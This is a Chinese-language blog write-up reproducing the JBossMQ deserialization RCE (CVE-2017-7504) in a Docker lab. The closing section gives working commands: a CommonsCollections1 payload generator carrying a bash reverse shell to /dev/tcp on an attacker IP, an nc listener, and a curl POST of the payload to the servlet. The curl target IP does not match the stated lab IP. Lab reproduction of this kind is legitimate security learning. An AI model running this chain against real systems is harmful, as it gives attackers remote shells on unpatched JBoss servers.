复现JBossMQ JMS Invocation Layer漏洞(CVE-2017-7504)

0x01 漏洞信息

项目 描述
漏洞名称 JBossMQ JMS Invocation Layer RCE
CVE编号 CVE-2017-7504
漏洞描述 HTTPServerILServlet.java在JMS上JbossMQ实现的HTTP调用层,默认情况下在Red Hat Jboss应用服务器<=Jboss 4.X中启用。它不限制执行反序列化的类,允许远程攻击者通过精心设计的序列化数据执行任意代码。
影响范围 <= 4.x

0x02 背景

前段时间一直在跟大佬好好学习一下中间件那些能getshell的漏洞,特别是反序列化。当时给自己的计划是把以下几个个中间件的漏洞都复现一遍。

  • tomcat
  • weblogic
  • jboss
  • websphere
  • ……

然而到jboss的JBossMQ JMS Invocation Layer漏洞(CVE-2017-7504)就卡主了。我在windows上搭建好jboss的4.0.0,4.0.5.GA,4.2.3.GA三个版本,使用JavaDeserH2HC这个exp都无法复现成功。

看了作者录制的这个视频PoC CVE-2017-7504 - JBossMQ JMS Invocation Layer很多遍了,也没找出什么原因。

去翻了一下该项目的issues,发现有一个小哥的情况一模一样,瞬间感觉找到自己人。

作者也针对这个问题,说了解决方案是使用POC:ExampleCommonsCollections1WithHashMap.java

然而依然无法成功,想想,应该是需要在linux环境下才行了。当时由于在学习docker,就把这个想法暂时搁浅了。

0x03 复现

今天有点时间,继续上传没有完成的复现。

去hub.docker.com,看看有没有适合我的镜像。没有就得自己做了。运气不错,找的了tumux/jboss:as4,制作时间是3年前的,应该是有漏洞的。同时这里给大家一个建议,漏洞复现最好不要使用官方的,官方会随漏洞被披露而更新镜像。

jboss靶机:192.168.228.154

1
2
docker pull tutum/jboss:as4
docker run -p 8080:8080 -it tutum/jboss:as4

存在漏洞jboss以下路径一定是可以访问的
http://192.168.228.154:8080/jbossmq-httpil/HTTPServerILServlet/

访问漏洞链接

kali攻击机:192.168.228.135

1
2
3
4
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 '/bin/bash -i>&/dev/tcp/192.168.228.135/1664<&1'
nc -lvvp 1664
curl http://192.168.154.129:8080:/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ExampleCommonsCollections1.ser

视频演示